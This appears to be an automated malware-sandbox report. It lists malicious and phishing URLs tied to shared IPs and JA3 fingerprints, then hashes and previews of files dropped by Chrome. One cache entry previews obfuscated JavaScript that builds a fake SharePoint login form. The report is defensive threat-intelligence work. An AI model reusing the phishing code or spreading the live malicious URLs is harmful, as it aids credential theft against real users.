	https://drive.google.com/file/d/1SCCeBL3Md8Sct7wQF5bfbtLysFqXCW6y/view?ts=667387ac	Get hash	malicious	Unknown	Browse	20.60.128.68
	MSTeamsSetup_c_l_.exe	Get hash	malicious	Unknown	Browse	52.182.143.215
	hmips.elf	Get hash	malicious	Mirai	Browse	102.133.226.213
EDGECASTUS	https://whateveryourdose.com	Get hash	malicious	Unknown	Browse	93.184.221.165
	https://l.workplace.com/l.php?u=https%3A%2F%2Flookaside.fbsbx.com%2Ffile%2FInghams%2520-%2520Hi-Res%2520Masterbrand%2520Colour%2520Logo%2520-%2520Always%2520Good_RGB%2520%255Bfor%2520digital%252C%2520online%2520and%2520Microsoft%2520Templates%255D.png%3Ftoken%3DAWxzKoi1nUB59NvsJAG35rI9D0aOOyzrR_PTZAd9DoL6_qLIGf9zIjSF0JWeFwBB4O_Ex9BSSDzHo5Kc-z69kH5xLPrunP67a7Gg_gNW-IZBGfLtVAScC0_Soqass62EpFvp19XiZwu-t3SbdvFKIbgZiHYv8JwAt48eNPNNPAfegwBz5YiuOC_yzKaW8R-rRdChxANoqihf6uC5DIJ3fOo1WyrrQ9tWZzDlRSq6xEpAVmuFS8uJefBWRMb_IltKrzlL6mHESszRDv_-2U-tDs8BDe_sK3jcP69DmeOJ1slv_IcHHB7ZXVNpLIifBYllRdPB7vx7cskYHEr9dZA8Ett_mGslvGTxP7Va6mWs4_HfXSuJX1b3DyFUALoyx1iEPxeOtKd0bUO-VDSVuzsgmq-NgApAe1yeRTHf8dXIZ48Xfpi9YMnbssgSRMJM0fMVnMsvAaC0_VbZL9mBQ6AnwkTc%26__cid%3D612274792515426&h=AT1b5nA7SfQIC_f-JrcPE6qoQ868KN5q_fiMGwjmtCyuPJbOumUW-zhlOCc5WwzejzjZqbOmEK8tJb3Dtz3bFr2Jw8oCVw9vPPsbMAoOY6zVWgUUxKz5hA9ptrJbAfrtF3xuhlsFrbrhBAOhbr5I2pV8znFdu8WiMjbVAQ	Get hash	malicious	Unknown	Browse	93.184.221.165
	https://pub-23354ce60e01474fa600cbca2caadc73.r2.dev/index.html	Get hash	malicious	Unknown	Browse	152.199.21.175
	http://h3200457.wixsite.com/my-site-1/	Get hash	malicious	Unknown	Browse	93.184.221.165
	https://ipfs.io/ipfs/bafybeighp4krlvehs33pimsa3ka7aimkt3miqblm5arwkobl432i3aysgq/WeTransfer%20domain.html/	Get hash	malicious	HTMLPhisher	Browse	93.184.221.165
	https://m.morrissey-mmuptn7vfawopptn7vfawop.narymar.com/	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://ingresar-365-msn.glitch.me/	Get hash	malicious	Unknown	Browse	93.184.220.70
	https://www.baidu.com/link?url=pCe2VMeTMuhndrXyVPsQ3n6O16FCz5n7978FKvmnNu0JERaM9sHkayy_qDGQGjJmvDRCSeZR9vxMVY05bWTLma&wd=dGh1YmVyQG5vcnJpc2VsZWN0cmljLmNvbQ==&eqid=DeUTVqQWINmOgZSMotATfCvHOSfRhkjEiCzwbdpHhYTIdKCLWh	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	original.eml	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://hr.economictimes.indiatimes.com/etl.php?url=//hr.economictimes.indiatimes.com/etl.php?url=https://coloartmoveis.com.br/hbjkjdhusdhjsd/yudfidlsdjskjdhjs/skjdjskkjsd/jdjhshjsjdhjsd/anRvcmtlbHNvbkBjY2ZpLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://lbg-calcs.vercel.app	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	https://app.box.com/s/w49s7clyi1c0n0px1tq5es29nfqjtpc7	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	http://www.jnty3187.vip	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	http://directlyboilermarco.com	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	https://secmail.bankofamerica.com/formpostdir/securereader?id=no5vHLhWQ12UWan3Jv9DpKkJgisnkiyI&brand=560a7087	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	ACH_Remittance_TX 21237649.htm	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	Play____Now_AUD__autoresponse.htm	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	https://correos.seguridadx.es	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	https://www.google.ad/url?url=zbjhnstd&onm=38CRhu7&zhw=6mdOvlm&lqcbma=FQTzpTgPo&zivcs=5baqi3&saat=tUNMCswx&eaz=z97Pg4B&tve=jT9vt9P&mymwjw=eFOEvaPcr&euuqs=OU9Yyy&grap=6E6kGGKg&q=https://www.google.ad/amp/t9.myhosttest.blogsyte.com%2F2p988ybe&inn=RBXpolk&gve=rzPfe77&mbktnb=3wBSPFBgm&gghae=hkyo6k&wuim=N3czA7Bf&nxb=vmrT13r&bau=bHF0eT7&ftgwus=QGyzvGpWm&ktotr=7i9KAJ&wjos=kSjZhfQf	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	http://tinyurI.com/bn229tan	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 10:54:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9917146788142412
Encrypted:	false
SSDEEP:	48:8YduTKK1HyidAKZdA1FehwiZUklqehJy+3:89jGCy
MD5:	F781CE7E050384AEC9AA94378DE6AF08
SHA1:	F0CF2311BBF1E697138F5BEB52BA6175DEFA1666
SHA-256:	8A182CE67D50C0EC90536B68F130EB3E9B1FB8B2581FD76B684AD6B0F8010878
SHA-512:	FD8541B14BD2540FDA7A1C110B931B18474533CD107094C23C0501A394D43616670C9A86F5AF25F9D4B0D4FF0F1B668285B64DEA975EAAE669B2A659015782BB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........t{k].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 10:54:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.010382385131349
Encrypted:	false
SSDEEP:	48:8uvduTKK1HyidAKZdA1seh/iZUkAQkqehyy+2:8u8jA9Qjy
MD5:	7916D96D8BDE8937EB3630559621742D
SHA1:	60ED96B174887AC7BA6CE2E8B8C470A7668714C1
SHA-256:	3D1DF70A1CEB8C97ED77B75FF2BC4101FEC7299EF53BC05AE3A367394C1AF678
SHA-512:	E77F90DD7F066D4162A6FB3281BA7D78B12E938F8187652D3F79807F62BCAD2D1E97046F2B01BDE4073C300CA03828AB81FD74FD417E57DAC39B224054AAF1D6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....4......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........t{k].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.0142510201508035
Encrypted:	false
SSDEEP:	48:87duTKKAHyidAKZdA14meh7sFiZUkmgqeh7sky+BX:84jDnmy
MD5:	F9A5E4AC7F758D7651BA6F4479C1AEDB
SHA1:	0F32355E4A93AC0E87B5C870807F0FB2F4B27584
SHA-256:	435ACA843341A16CB3017E4980EDE291DDA769AB7C38E0C3A6F07FDD87FFE0FB
SHA-512:	1271754D8F5EE068AF28D851461CF0BA2E737E2ACD2E242322477C2119CED980A385F5003F6BB4E691AE12150E6202CCAF034140C3FB9CF275B6DB602FAB695F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........t{k].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 10:54:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.007607314701198
Encrypted:	false
SSDEEP:	48:8MduTKK1HyidAKZdA1TehDiZUkwqeh+y+R:8Bjb8y
MD5:	8D887739C5689F309086330ED113BCDF
SHA1:	7AD5FF9FBAA9CF9B63038C6DC172F4D70C201EAC
SHA-256:	584E70752999D88F638524E7134E48EEBDD848091990C18383EAB57760423834
SHA-512:	4B62761483064F3D5C5FBA182F87D9247FD2EA4552CBFFF22807C76AEA495371CCA22F7F0F9F54B664D3084F07AB3EF8D2E991A0639823C2362FCBF5CBD8DD19
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....._.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........t{k].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 10:54:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9958812191925466
Encrypted:	false
SSDEEP:	48:89duTKK1HyidAKZdA1dehBiZUk1W1qeh4y+C:8+jb9Yy
MD5:	790467672F9DF470ECEF17686493E43D
SHA1:	614DDE7BC1DB7413493EC4F78DEBA7AE8068E726
SHA-256:	661A959A5DBC617B228CC6D673A4A4E1B2CC5C7FDEB8E1EF45AE24B00B0A9CFF
SHA-512:	9BB2D19D5CAC183FEAD9BF607DB26C0FF420E91AFA72F68CE2F66F6288147825C6E6512A37BBCCD373CF997155991BAD6B405120CD8AD406968D8CAB6EA90C38
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........t{k].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 10:54:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.004464378221005
Encrypted:	false
SSDEEP:	48:8TduTKK1HyidAKZdA1duTeehOuTbbiZUk5OjqehOuTbmy+yT+:8Qj/TfTbxWOvTbmy7T
MD5:	B70DCD6D69F5EE396A1EA77EF42FB31B
SHA1:	973220FF7D650AC092099CDFB9EC2B87F9B88613
SHA-256:	6F1DD5639D08F8CE3258890639274C4686596551869B294C34239F1ADCCDD5CE
SHA-512:	F458B739EA44163E84A71C72DB3A28B9E57F0C5280871683BAB1E61ECFE0BA9F58BCD01C1311ECD3A2326064962707706375E3D91033F9AFA548CE9688907B3F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X.^....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........t{k].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	171292
Entropy (8bit):	5.096380330109544
Encrypted:	false
SSDEEP:	3072:q0H0YiGQy2hRp4y32LmZSvP9wPJaTzou0GMjkhhxRpAoUbK4z:q0H0B3Tp4y32LmZSvP9wPJaTzou0GEkM
MD5:	684F5A3B7333D8120003A938623194CE
SHA1:	908C0AFF1577404AD35EF105DA2B611EF96C25CD
SHA-256:	11A09D7A871C0EB73139C231C36F2273F5DA8A473914B68C1F3E8F363EEA9A32
SHA-512:	23EF9C553996C49570B43648F57204118A46A10D59D516C2C887BECFA58F13E40B90996F67FC733F15FE66D242E5F1F23E933A50D1EE1F40589437E950D06912
Malicious:	false
Reputation:	low
URL:	https://cdn.socket.io/4.6.0/socket.io.min.js.map
Preview:	{"version":3,"file":"socket.io.min.js","sources":["../node_modules/engine.io-parser/build/esm/commons.js","../node_modules/engine.io-parser/build/esm/contrib/base64-arraybuffer.js","../node_modules/engine.io-parser/build/esm/encodePacket.browser.js","../node_modules/engine.io-parser/build/esm/decodePacket.browser.js","../node_modules/engine.io-parser/build/esm/index.js","../node_modules/@socket.io/component-emitter/index.mjs","../node_modules/engine.io-client/build/esm/globalThis.browser.js","../node_modules/engine.io-client/build/esm/util.js","../node_modules/engine.io-client/build/esm/contrib/yeast.js","../node_modules/engine.io-client/build/esm/transport.js","../node_modules/engine.io-client/build/esm/contrib/parseqs.js","../node_modules/engine.io-client/build/esm/contrib/has-cors.js","../node_modules/engine.io-client/build/esm/transports/xmlhttprequest.browser.js","../node_modules/engine.io-client/build/esm/transports/polling.js","../node_modules/engine.io-client/build/esm/transpor

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, Unicode text, UTF-8 text, with very long lines (65527), with no line terminators
Category:	downloaded
Size (bytes):	97840
Entropy (8bit):	4.4500703764063285
Encrypted:	false
SSDEEP:	1536:GwtA4NeS6e6+mitQT3TLJRb8J+apQ3jxNxqCVS:GwtA4NeS6e6+XE3TLJxxNIx
MD5:	C8A8D350644CE1043C7EB0B0B3D4BFC3
SHA1:	3981EED2963478BEABB73502E569D9A9A6DC2062
SHA-256:	77A7A30D1E853501B7B627D55DC6171EF38322485DCBEB3A3A886538191DB6CE
SHA-512:	A491C0D83CB999C800162E45F884A168CF25CF988C168BC6A1C3F284BD63FE09543430CFE5011DC69536CFA0EF6EED06756F7341F9B1F1165B6289707C486DCF
Malicious:	false
URL:	https://fiveradio-newbam.com/jsnom.js
Preview:	function _0x34d9() { const _0x47ef45 = ['\x0a\x0a\x20\x20\x20\x20 \x20Overlay\x20-->\x0a\x20\x20\x20\x20<div\x20class=\x22overlay\x22></div>\x0a\x0a\x20\x20\x20\x20<div\x20class=\x22canvas\x22\x20style=\x22display:\x20none;\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20 \x20<img\x20class=\x22imgclass\x22\x20src=\x22https://softwarereviews.s3.amazonaws.com/production/favicons/offerings/3117/original/Sharepoint_icon.png\x22\x20alt=\x22\x22\x20srcset=\x22\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22tittleText\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>Microsoft.\x20Sharepoint</div>\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22logerMe\x22></p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22loader\x22>Loading...</div>\x0a\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20 \x20LOGIN\x20PAGE\x20START\x20\x20-->\x0a\x20\x20\x20\x20<div\x20class=\x22loginForm\x22>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20 \x20EMAIL\x20-->\x0a\x20\x20\x20\x20\x20

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
